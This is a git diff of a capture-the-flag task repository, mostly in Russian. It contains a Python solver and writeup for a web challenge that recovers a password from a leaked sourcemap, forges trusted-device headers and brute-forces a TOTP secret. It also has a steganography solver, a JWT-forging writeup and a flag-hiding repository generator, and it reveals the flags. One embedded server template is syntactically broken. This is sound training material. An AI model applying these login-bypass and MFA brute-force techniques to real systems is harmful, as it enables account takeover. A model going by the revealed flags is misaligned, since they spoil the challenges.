||||
url = value
|
||||
elif key in ("parta", "pwd_part_a", "pwda", "a"):
|
||||
parta = value
|
||||
elif key in ("user", "username", "narod_user"):
|
||||
user = value
|
||||
else:
|
||||
if url is None:
|
||||
url = line
|
||||
elif parta is None:
|
||||
parta = line
|
||||
elif user is None:
|
||||
user = line
|
||||
except FileNotFoundError:
|
||||
return None, None, None
|
||||
return url, parta, user
|
||||
|
||||
|
||||
def normalize_base(url):
|
||||
url = (url or "").strip()
|
||||
if not url:
|
||||
return ""
|
||||
if not re.match(r"^https?://", url, re.IGNORECASE):
|
||||
url = "http://" + url
|
||||
return url.rstrip("/")
|
||||
|
||||
|
||||
def make_opener(jar, insecure=False):
|
||||
handlers = [urllib.request.HTTPCookieProcessor(jar)]
|
||||
if insecure:
|
||||
ctx = ssl._create_unverified_context()
|
||||
handlers.append(urllib.request.HTTPSHandler(context=ctx))
|
||||
return urllib.request.build_opener(*handlers)
|
||||
|
||||
|
||||
def http_request(opener, method, url, data=None, headers=None, timeout=10):
|
||||
headers = dict(headers or {})
|
||||
body = None
|
||||
if data is not None:
|
||||
if isinstance(data, dict):
|
||||
body = urllib.parse.urlencode(data).encode("utf-8")
|
||||
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
|
||||
elif isinstance(data, (bytes, bytearray)):
|
||||
body = data
|
||||
else:
|
||||
body = str(data).encode("utf-8")
|
||||
req = urllib.request.Request(url, data=body, headers=headers, method=method)
|
||||
try:
|
||||
with opener.open(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.headers, resp.read()
|
||||
except urllib.error.HTTPError as exc:
|
||||
return exc.code, exc.headers, exc.read()
|
||||
|
||||
|
||||
def extract_username(html_text):
|
||||
m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
|
||||
return m.group(1) if m else None
|
||||
|
||||
|
||||
def extract_pepper_xor_hex(map_text):
|
||||
try:
|
||||
data = json.loads(map_text)
|
||||
except json.JSONDecodeError:
|
||||
return None
|
||||
for src in data.get("sourcesContent", []):
|
||||
m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
|
||||
if m:
|
||||
return m.group(1).lower()
|
||||
return None
|
||||
|
||||
|
||||
def derive_part_b(user, pepper_xor_hex):
|
||||
mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
|
||||
pepper_bytes = bytes.fromhex(pepper_xor_hex)
|
||||
out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
|
||||
return out.decode("utf-8", errors="replace")
|
||||
|
||||
|
||||
def derive_pass(parta, partb):
|
||||
material = f"{parta}:{partb}".encode("utf-8")
|
||||
return hashlib.sha1(material).hexdigest()[:12]
|
||||
|
||||
|
||||
def trusted_headers(pass_hash):
|
||||
ts = str(int(time.time()))
|
||||
sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
|
||||
return {"X-TS": ts, "X-Trusted-Device": sig}
|
||||
|
||||
|
||||
def base32_decode(secret_b32):
|
||||
secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
|
||||
pad = "=" * ((8 - (len(secret) % 8)) % 8)
|
||||
return base64.b32decode(secret + pad, casefold=True)
|
||||
|
||||
|
||||
def hotp(secret_bytes, counter):
|
||||
msg = struct.pack(">Q", counter)
|
||||
digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
|
||||
offset = digest[-1] & 0x0F
|
||||
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
|
||||
return f"{code % 1_000_000:06d}"
|
||||
|
||||
|
||||
def totp(secret_b32, timestamp, step=30):
|
||||
key = base32_decode(secret_b32)
|
||||
counter = int(timestamp // step)
|
||||
return hotp(key, counter)
|
||||
|
||||
|
||||
def fetch_server_offset(opener, base_url):
|
||||
status_url = base_url + "/__status__"
|
||||
code, _, body = http_request(opener, "GET", status_url)
|
||||
if code != 200:
|
||||
return 0.0
|
||||
try:
|
||||
data = json.loads(body.decode("utf-8"))
|
||||
server_ms = float(data.get("now", 0))
|
||||
if server_ms:
|
||||
return (server_ms / 1000.0) - time.time()
|
||||
except (ValueError, json.JSONDecodeError):
|
||||
pass
|
||||
return 0.0
|
||||
|
||||
|
||||
def login(opener, base_url, user, password, trusted=False):
|
||||
headers = {}
|
||||
if trusted:
|
||||
headers.update(trusted_headers(password))
|
||||
data = {"username": user, "password": password}
|
||||
return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)
|
||||
|
||||
|
||||
def get_masked_secret(opener, base_url):
|
||||
headers = {"Referer": base_url + "/profile"}
|
||||
code, _, body = http_request(
|
||||
opener,
|
||||
"GET",
|
||||
base_url + "/profile/export?fmt=ini",
|
||||
headers=headers,
|
||||
)
|
||||
if code != 200:
|
||||
return None
|
||||
text = body.decode("utf-8", errors="replace")
|
||||
m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
|
||||
return m.group(1) if m else None
|
||||
|
||||
|
||||
def iter_candidates(masked_secret):
|
||||
if not masked_secret or not masked_secret.endswith("??"):
|
||||
return
|
||||
prefix = masked_secret[:-2].upper()
|
||||
for a in BASE32_ALPHABET:
|
||||
for b in BASE32_ALPHABET:
|
||||
yield prefix + a + b
|
||||
|
||||
|
||||
def mfa_attempt(opener, base_url, otp_code):
|
||||
code, _, body = http_request(
|
||||
opener,
|
||||
"POST",
|
||||
base_url + "/mfa",
|
||||
data={"otp": otp_code},
|
||||
)
|
||||
if code == 200 and b"/wallet" in body:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def fetch_flag(opener, base_url):
|
||||
code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
|
||||
if code != 200:
|
||||
return None, None
|
||||
text = body.decode("utf-8", errors="replace")
|
||||
flag = None
|
||||
game_code = None
|
||||
m_flag = re.search(r"flag\{[^}]+\}", text)
|
||||
if m_flag:
|
||||
flag = m_flag.group(0)
|
||||
m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
|
||||
if m_code:
|
||||
game_code = m_code.group(0)
|
||||
return flag, game_code
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="NarodUslugi solver")
|
||||
parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
|
||||
parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
|
||||
parser.add_argument("--parta", help="PWD_PART_A value")
|
||||
parser.add_argument("--user", help="Override username")
|
||||
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
|
||||
parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
|
||||
args = parser.parse_args()
|
||||
|
||||
file_url, file_parta, file_user = read_target_file(args.target_file)
|
||||
base_url = normalize_base(args.url or file_url)
|
||||
parta = args.parta or file_parta
|
||||
user = args.user or file_user
|
||||
|
||||
if not base_url:
|
||||
print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
jar = http.cookiejar.CookieJar()
|
||||
opener = make_opener(jar, insecure=args.insecure)
|
||||
|
||||
code, _, body = http_request(opener, "GET", base_url + "/")
|
||||
if code != 200:
|
||||
print(f"Failed to load login page: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
html = body.decode("utf-8", errors="replace")
|
||||
if not user:
|
||||
user = extract_username(html)
|
||||
if not user:
|
||||
print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
|
||||
if code != 200:
|
||||
print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
|
||||
if not pepper_xor_hex:
|
||||
print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
partb = derive_part_b(user, pepper_xor_hex)
|
||||
if not parta:
|
||||
print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
password = derive_pass(parta, partb)
|
||||
|
||||
# Trusted login to get masked OTP secret.
|
||||
trusted_jar = http.cookiejar.CookieJar()
|
||||
trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
|
||||
code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
|
||||
if code == 429:
|
||||
print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
if code != 200:
|
||||
print(f"Trusted-device login failed: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
masked_secret = get_masked_secret(trusted_opener, base_url)
|
||||
if not masked_secret:
|
||||
print("Failed to retrieve masked OTP secret.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
offset = fetch_server_offset(opener, base_url)
|
||||
|
||||
attempts = 0
|
||||
session_opener = None
|
||||
for candidate in iter_candidates(masked_secret):
|
||||
if session_opener is None or attempts >= args.max_per_session:
|
||||
session_jar = http.cookiejar.CookieJar()
|
||||
session_opener = make_opener(session_jar, insecure=args.insecure)
|
||||
code, _, _ = login(session_opener, base_url, user, password, trusted=False)
|
||||
if code != 200:
|
||||
print(f"Login failed during brute-force: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
attempts = 0
|
||||
|
||||
now = time.time() + offset
|
||||
otp = totp(candidate, now)
|
||||
if mfa_attempt(session_opener, base_url, otp):
|
||||
flag, game_code = fetch_flag(session_opener, base_url)
|
||||
print(f"user={user}")
|
||||
print(f"pass={password}")
|
||||
print(f"otp_secret={candidate}")
|
||||
if flag:
|
||||
print(flag)
|
||||
if game_code:
|
||||
print(game_code)
|
||||
return
|
||||
|
||||
attempts += 1
|
||||
|
||||
print("OTP secret not found in search space.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
91
GAME/narod/writeup.md
Normal file
91
GAME/narod/writeup.md
Normal file
@@ -0,0 +1,91 @@
|
||||
# NarodUslugi - полный разбор (пошагово)
|
||||
|
||||
Этот разбор объясняет, как устроен сервис и как решатель получает флаг.
|
||||
Ссылки идут на локальные файлы задачи в этой директории.
|
||||
|
||||
## 1) Входные данные и их источники
|
||||
|
||||
- URL цели, partA и user можно читать из `target.txt` или передать через CLI.
|
||||
- Поведение сервера описано в `files/server.js`.
|
||||
- Логика решателя находится в `solver.py`.
|
||||
- Значения окружения указаны в `web_naroduslugi_6.yml`.
|
||||
|
||||
## 2) Формула пароля (на сервере)
|
||||
|
||||
В `files/server.js` сервер считает пароль так:
|
||||
|
||||
- `PASS = sha1(f"{PWD_PART_A}:{PWD_PART_B}").hexdigest()[:12]`
|
||||
|
||||
`partA` у нас есть, но `partB` скрыт.
|
||||
|
||||
## 3) Где спрятан partB
|
||||
|
||||
Эндпоинт `/assets/app.js.map` отдает sourcemap со строкой:
|
||||
|
||||
- `pepper_xor_hex` (hex-строка)
|
||||
|
||||
Она вычисляется так:
|
||||
|
||||
- `pepper_xor_hex = xorHex(PWD_PART_B, sha1(user)[:6])`
|
||||
|
||||
Значит `partB` можно восстановить, если известен `user`.
|
||||
|
||||
## 4) Как восстановить partB
|
||||
|
||||
Шаги, которые делает `solver.py`:
|
||||
|
||||
1. `mask = sha1(user).digest()[:6]`
|
||||
2. Преобразовать `pepper_xor_hex` в байты.
|
||||
3. XOR-нуть каждый байт с `mask` (по кругу).
|
||||
4. Декодировать результат как UTF-8 и получить `partB`.
|
||||
|
||||
После этого вычисляется пароль:
|
||||
|
||||
- `password = sha1(f"{partA}:{partB}").hexdigest()[:12]`
|
||||
|
||||
## 5) Trusted-device логин для доступа к экспорту профиля
|
||||
|
||||
Есть альтернативная авторизация, описанная в `/.well-known/`:
|
||||
|
||||
- Заголовки: `X-TS` и `X-Trusted-Device`
|
||||
- `X-Trusted-Device = hex(hmac_sha1(pass, ts))`
|
||||
- `ts` должен быть в окне 120 секунд
|
||||
|
||||
Если заголовки валидны, сессия помечается как `mfa=true`, но
|
||||
`mfaOtp=false`. Это дает доступ к `/profile` и `/profile/export`.
|
||||
|
||||
## 6) Экспорт OTP-секрета отдается с маской
|
||||
|
||||
`/profile/export?fmt=ini` возвращает:
|
||||
|
||||
- `otp_secret` с заменой последних 2 base32-символов на `??`
|
||||
|
||||
Есть CSRF-проверка: нужен `Referer: /profile`.
|
||||
Решатель выставляет этот заголовок.
|
||||
|
||||
## 7) Брут последних 2 base32-символов
|
||||
|
||||
Алфавит base32 длиной 32, значит всего 32 * 32 = 1024 вариантов.
|
||||
Решатель перебирает все кандидаты:
|
||||
|
||||
1. Логинится обычным способом (без trusted заголовков).
|
||||
2. Считает TOTP для кандидата.
|
||||
3. POST на `/mfa` с `otp`.
|
||||
4. При успехе открывает `/wallet` и `/wallet/drain`.
|
||||
|
||||
## 8) Синхронизация времени
|
||||
|
||||
Решатель читает `/__status__`, чтобы получить смещение времени сервера
|
||||
и учитывать его при генерации TOTP (защита от дрейфа часов).
|
||||
|
||||
## 9) Получение флага
|
||||
|
||||
Если OTP верный, сессия получает `mfaOtp=true`, и `/wallet/drain`
|
||||
возвращает флаг.
|
||||
|
||||
## 10) Важные ловушки
|
||||
|
||||
- Повторный trusted-логин во время активного окна доверия вызывает бан.
|
||||
- Если trusted-сессия протухла без OTP, при следующем запросе будет бан.
|
||||
- Решатель использует отдельные cookie-jar и лимит попыток на сессию.
|
||||
|
||||
18
GAME/nas/Stegano/README.md
Normal file
18
GAME/nas/Stegano/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
GameStegoAudio | Stego | Medium?
|
||||
|
||||
## Автор
|
||||
instanc3:@instanc3
|
||||
|
||||
## Информация для участников
|
||||
|
||||
## Выдать участникам
|
||||
Аудио файл: some_secret.wav
|
||||
|
||||
## Решение
|
||||
1. Понять, что информация скрыта в правом канале → проверить распределение LSB по каналам/участкам.
|
||||
2. Замечаем, что данные начинаются после ~1 с и идут через один.
|
||||
3. Считать LSB правого канала с skip=1s, step=2, собрать в байты (MSB→LSB).
|
||||
4. Увидеть заголовок STAG, прочитать длину и CRC, взять полезную нагрузку, zlib-decompress → получить caplag{...}.
|
||||
|
||||
## Флаг
|
||||
`caplag{gam3_au1d0_st3g0_1s_d0n3}`
|
||||
68
GAME/nas/Stegano/stego_task_solve.py
Normal file
68
GAME/nas/Stegano/stego_task_solve.py
Normal file
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import wave
|
||||
import struct
|
||||
import zlib
|
||||
import numpy as np
|
||||
|
||||
SR = 44100
|
||||
SKIP_SEC = 1.0
|
||||
STEP = 2
|
||||
IN_WAV = "some_secret.wav"
|
||||
|
||||
def read_wav_int16(path: str):
|
||||
with wave.open(path, "rb") as wf:
|
||||
assert wf.getnchannels() == 2
|
||||
assert wf.getsampwidth() == 2
|
||||
sr = wf.getframerate()
|
||||
frames = wf.readframes(wf.getnframes())
|
||||
arr = np.frombuffer(frames, dtype=np.int16).reshape(-1, 2)
|
||||
return sr, arr
|
||||
|
||||
def bits_to_bytes_big_endian(bits: np.ndarray) -> bytes:
|
||||
# Длина должна быть кратна 8
|
||||
n = (bits.size + 7) // 8 * 8
|
||||
if n != bits.size:
|
||||
bits = np.pad(bits, (0, n - bits.size), constant_values=0)
|
||||
by = np.packbits(bits.astype(np.uint8), bitorder='big').tobytes()
|
||||
return by
|
||||
|
||||
def extract_header_and_length(right: np.ndarray, sr: int):
|
||||
skip = int(sr * SKIP_SEC)
|
||||
# Считываем первые 12 байт (заголовок: 4 + 4 + 4)
|
||||
header_bits_count = 12 * 8
|
||||
idxs = skip + np.arange(header_bits_count) * STEP
|
||||
bits = (right[idxs] & 1).astype(np.uint8)
|
||||
header = bits_to_bytes_big_endian(bits)
|
||||
magic = header[:4]
|
||||
if magic != b"STAG":
|
||||
raise ValueError("Магия заголовка не совпала — это не тот контейнер.")
|
||||
length = struct.unpack(">I", header[4:8])[0]
|
||||
crc = struct.unpack(">I", header[8:12])[0]
|
||||
return length, crc
|
||||
|
||||
def extract_all(sr: int, stereo: np.ndarray):
|
||||
right = stereo[:, 1]
|
||||
length, crc_expected = extract_header_and_length(right, sr)
|
||||
total_bytes = 12 + length
|
||||
total_bits = total_bytes * 8
|
||||
skip = int(sr * SKIP_SEC)
|
||||
idxs = skip + np.arange(total_bits) * STEP
|
||||
bits = (right[idxs] & 1).astype(np.uint8)
|
||||
data = bits_to_bytes_big_endian(bits)
|
||||
header = data[:12]
|
||||
payload = data[12:12+length]
|
||||
crc_actual = zlib.crc32(payload) & 0xFFFFFFFF
|
||||
if crc_actual != crc_expected:
|
||||
raise ValueError("CRC не сошлась — данные повреждены или неверные параметры извлечения.")
|
||||
flag = zlib.decompress(payload).decode("utf-8")
|
||||
return flag
|
||||
|
||||
def main():
|
||||
sr, stereo = read_wav_int16(IN_WAV)
|
||||
flag = extract_all(sr, stereo)
|
||||
print("[+] DATA [ ", flag, " ]")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
70
GAME/nas/writeup.md
Normal file
70
GAME/nas/writeup.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# Writeup для NAS (русская версия)
|
||||
|
||||
## Цель
|
||||
Зайти в хранилище
|
||||
|
||||
## 1 Задание Посчитать пароль админа и войти
|
||||
Пароль админа — первые 12 символов:
|
||||
```
|
||||
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория
|
||||
Входим
|
||||
|
||||
```
|
||||
|
||||
Пример:
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
|
||||
print(admin_pass)
|
||||
```
|
||||
|
||||
Логин: `/login` с:
|
||||
```
|
||||
username=admin
|
||||
password=<admin_pass>
|
||||
```
|
||||
Сохраните cookie `sid` из ответа.
|
||||
Получаем доступ к файлу .wav
|
||||
Дальше решение из папки Stegano.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 2 задание Сковать bearer JWT и забрать финальный флаг
|
||||
`/admin/flag` требует:
|
||||
- cookie `sid` (админская сессия)
|
||||
- `Authorization: Bearer <jwt>`
|
||||
|
||||
Ограничения на payload:
|
||||
- `role: "admin"`
|
||||
- `kpf: <KETTLE_PROOF>`
|
||||
- `aud: "nas-admin"`
|
||||
- `iat`: текущее UNIX‑время (допуск примерно ±120 сек)
|
||||
|
||||
Пример:
|
||||
```python
|
||||
import time, jwt
|
||||
|
||||
payload = {
|
||||
"role": "admin",
|
||||
"kpf": KETTLE_PROOF,
|
||||
"aud": "nas-admin",
|
||||
"iat": int(time.time()),
|
||||
}
|
||||
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
|
||||
print(token)
|
||||
```
|
||||
|
||||
Запрос:
|
||||
```
|
||||
GET /admin/flag
|
||||
Cookie: sid=<sid>
|
||||
Authorization: Bearer <token>
|
||||
```
|
||||
|
||||
В ответе — финальный флаг.
|
||||
433
GAME/osint/gen.py
Normal file
433
GAME/osint/gen.py
Normal file
@@ -0,0 +1,433 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
forge_repo_staging.py — генерирует публичный репозиторий с 500+ коммитами.
|
||||
Строка mesh: "OH-21B4" и base64-флаг встречаются РОВНО в одном коммите ветки
|
||||
`staging/router-mesh`. В main их нет (ветка смёржена через --squash).
|
||||
Можно сразу запушить: python3 forge_repo_staging.py --push <git-url>
|
||||
Или задать автора: --author-name "Имя" --author-email you@example.com
|
||||
"""
|
||||
|
||||
import os, sys, json, random, subprocess, shutil, argparse, base64, re
|
||||
from datetime import datetime, timedelta, timezone
|
||||
|
||||
# -------- параметры по умолчанию --------
|
||||
REPO_NAME = "iot-suite-repo-mega-fixed"
|
||||
BRANCH_SECRET = "staging/router-mesh"
|
||||
FEATURE_BRANCHES = [
|
||||
("feature/ui-polish", 6),
|
||||
("hotfix/diag-timeout", 3),
|
||||
("refactor/router-cfg", 5),
|
||||
]
|
||||
MAIN_COMMITS = 520 # шумовых коммитов в main
|
||||
TIME_START = datetime(2023, 3, 1, 10, 0, tzinfo=timezone(timedelta(hours=1)))
|
||||
STEP_MAIN = timedelta(hours=6)
|
||||
STEP_BRANCH = timedelta(hours=2)
|
||||
|
||||
AUTHORS_DEFAULT = [
|
||||
("Natalie Orlov", "natalie@orbital.home"),
|
||||
("Anton Lebedev", "anton@orbital.home"),
|
||||
("Nina Petrova", "nina@orbital.home"),
|
||||
("Mark Isaev", "mark@orbital.home"),
|
||||
("QA Bot", "qa-bot@orbital.home"),
|
||||
]
|
||||
|
||||
NOISE_MESSAGES = [
|
||||
"docs: update changelog", "chore: reformat", "ci: bump node action",
|
||||
"router: refactor logger", "kettle: tweak diag", "nas: session cleanup",
|
||||
"printer: queue cosmetics", "deps: bump ejs", "deps: bump express",
|
||||
"test: deflake", "build: docker cache", "perf: micro-opt",
|
||||
"style: trailing space", "docs: badges",
|
||||
]
|
||||
|
||||
FLAG_PLAINTEXT = "caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}"
|
||||
FLAG_B64 = base64.b64encode(FLAG_PLAINTEXT.encode()).decode()
|
||||
|
||||
def sh(args, cwd=None, env=None):
|
||||
return subprocess.run(args, cwd=cwd, env=env, check=True,
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout.strip()
|
||||
|
||||
def write(path, content, binary=False):
|
||||
os.makedirs(os.path.dirname(path), exist_ok=True)
|
||||
mode = "wb" if (binary or isinstance(content, (bytes, bytearray))) else "w"
|
||||
with open(path, mode, encoding=None if mode=="wb" else "utf-8") as f:
|
||||
f.write(content)
|
||||
|
||||
BASE_README = """# Orbital Home — IoT Suite (public)
|
||||
Публичная версия кодовой базы для демонстраций: Router, Printer, Kettle, NAS.
|
||||
Документация и закрытые части вырезаны.
|
||||
"""
|
||||
|
||||
# ---------------- router (публичный минимальный) ----------------
|
||||
ROUTER_SERVER = """import express from 'express';
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 8085;
|
||||
|
||||
const cfgPath = path.join(__dirname, 'config', 'router.json');
|
||||
let cfg = JSON.parse(fs.readFileSync(cfgPath, 'utf-8'));
|
||||
|
||||
app.get('/info_connection', (req,res)=>{
|
||||
res.json({ devices: [
|
||||
{ name:'Printer', model:'PRN-3130', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://printer.local' },
|
||||
{ name:'Kettle', model:'KTL-74C1', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://kettle.local' },
|
||||
{ name:'NAS', model:'NAS-220', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://nas.local' }
|
||||
]});
|
||||
});
|
||||
|
||||
app.get('/', (req,res)=> res.type('text/plain').send('Router UI (public build)'));
|
||||
app.listen(PORT, ()=> console.log(`[router-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
ROUTER_PKG = {
|
||||
"name":"router-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
# ---------------- printer (замаскированный) ----------------
|
||||
PRINTER_SERVER_PUBLIC = """import express from 'express';
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 8080;
|
||||
const QUEUE_DIR = path.join(__dirname, 'data', 'queue');
|
||||
|
||||
// <redacted>: private build may include additional endpoints and auth
|
||||
|
||||
app.get('/', (req,res)=> res.type('text/plain').send('Printer UI (public build)'));
|
||||
|
||||
app.get('/jobs/preview', (req,res)=>{
|
||||
const name = String(req.query.file||'').replace(/\\\\/g,'/');
|
||||
if (!name || name.includes('..') || path.isAbsolute(name)) return res.status(400).send('bad path');
|
||||
const abs = path.join(QUEUE_DIR, path.normalize(name));
|
||||
if (!abs.startsWith(QUEUE_DIR)) return res.status(400).send('bad path');
|
||||
if (!fs.existsSync(abs)) return res.status(404).send('not found');
|
||||
fs.createReadStream(abs).pipe(res);
|
||||
});
|
||||
|
||||
app.get('/go', (req,res)=>{
|
||||
const u = String(req.query.u||'');
|
||||
if (/^https?:\\/\\//i.test(u)) return res.redirect(302,u);
|
||||
res.redirect('/');
|
||||
});
|
||||
|
||||
app.get('/robots.txt', (req,res)=> res.type('text/plain').send('User-agent: *\\nDisallow:\\n'));
|
||||
|
||||
app.listen(PORT, ()=> console.log(`[printer-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
PRINTER_PKG_PUBLIC = {
|
||||
"name":"printer-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
# ---------------- kettle (замаскированный) ----------------
|
||||
KETTLE_SERVER_PUBLIC = """import express from 'express';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
|
||||
// import axios from 'axios'; // <redacted>
|
||||
// import crypto from 'crypto'; // <redacted>
|
||||
// const PRINTER_PROOF = process.env.PRINTER_PROOF; // <redacted>
|
||||
// const KETTLE_NONCE = process.env.KETTLE_NONCE; // <redacted>
|
||||
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 8081;
|
||||
|
||||
app.get('/', (req,res)=> res.redirect('/diagnostics'));
|
||||
|
||||
app.get('/diagnostics', (req,res)=>{
|
||||
// In private build this page exposes limited device info and triggers telemetry.
|
||||
res.type('text/plain').send('Kettle diagnostics (public build)');
|
||||
});
|
||||
|
||||
app.post('/diagnostics/fetch', (req,res)=>{
|
||||
// <redacted>: route-signature-based fetch via internal gateway
|
||||
// key = (PRINTER_PROOF + ":" + KETTLE_NONCE).encode()
|
||||
//mac = hmac.new(key, (url + '\n' + ts).encode(), hashlib.sha256).hexdigest()
|
||||
res.status(501).type('text/plain').send('disabled in public build');
|
||||
});
|
||||
|
||||
app.get('/assets/badge.svg', (req,res)=>{
|
||||
res.type('image/svg+xml').send('<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20"><circle cx="10" cy="10" r="7" fill="#5c7cfa"/></svg>');
|
||||
});
|
||||
|
||||
app.listen(PORT, ()=> console.log(`[kettle-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
KETTLE_PKG_PUBLIC = {
|
||||
"name":"kettle-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
# ---------------- nas (замаскированный) ----------------
|
||||
NAS_SERVER_PUBLIC = """import express from 'express';
|
||||
import path from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
// import jwt from 'jsonwebtoken'; // <redacted>
|
||||
// import crypto from 'crypto'; // <redacted>
|
||||
// const JWT_SECRET = process.env.JWT_SECRET; // <redacted>
|
||||
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const app = express();
|
||||
const PORT = process.env.PORT || 5000;
|
||||
|
||||
app.use(express.urlencoded({ extended:false }));
|
||||
app.use(express.json());
|
||||
|
||||
app.get('/', (req,res)=> res.redirect('/login'));
|
||||
app.get('/login', (req,res)=> res.type('text/plain').send('NAS login (public build)'));
|
||||
app.post('/login', (req,res)=> res.status(501).send('disabled in public build'));
|
||||
// admin_pass = hashlib.sha1((KETTLE_PROOF + ":" + PRINTER_PROOF).encode()).hexdigest()[:12]
|
||||
|
||||
app.get('/internal/hint', (req,res)=>{
|
||||
// <redacted> internal gateway-only endpoint (requires shared key + route sign)
|
||||
res.status(403).type('text/plain').send('forbidden (public build)');
|
||||
});
|
||||
|
||||
app.get('/admin/flag', (req,res)=> res.status(404).send('not found'));
|
||||
const auth = req.headers.authorization || '';
|
||||
const token = auth.replace(/^Bearer\s+/,'');
|
||||
try{
|
||||
const payload = jwt.verify(token, JWT_SECRET, { algorithms:['HS256'] });
|
||||
if (payload.role !== 'admin') return res.status(403).send('need admin role');
|
||||
if (payload.kpf !== KETTLE_PROOF) return res.status(403).send('incorrect kpf');
|
||||
if (payload.aud !== 'nas-admin') return res.status(403).send('bad aud');
|
||||
const now = Math.floor(Date.now()/1000);
|
||||
if (!payload.iat || Math.abs(now - payload.iat) > 120) return res.status(403).send('iat too old');
|
||||
|
||||
app.listen(PORT, ()=> console.log(`[nas-public] listening on ${PORT}`));
|
||||
"""
|
||||
|
||||
NAS_PKG_PUBLIC = {
|
||||
"name":"nas-public","version":"0.3.0","type":"module",
|
||||
"scripts":{"start":"node server.js"},
|
||||
"dependencies":{"express":"^4.19.2"}
|
||||
}
|
||||
|
||||
def commit(root, message, when, author):
|
||||
sh(["git","add","-A"], cwd=root)
|
||||
env = os.environ.copy()
|
||||
env.update({
|
||||
"GIT_AUTHOR_NAME": author[0], "GIT_AUTHOR_EMAIL": author[1],
|
||||
"GIT_COMMITTER_NAME": author[0], "GIT_COMMITTER_EMAIL": author[1],
|
||||
"GIT_AUTHOR_DATE": when.isoformat(),
|
||||
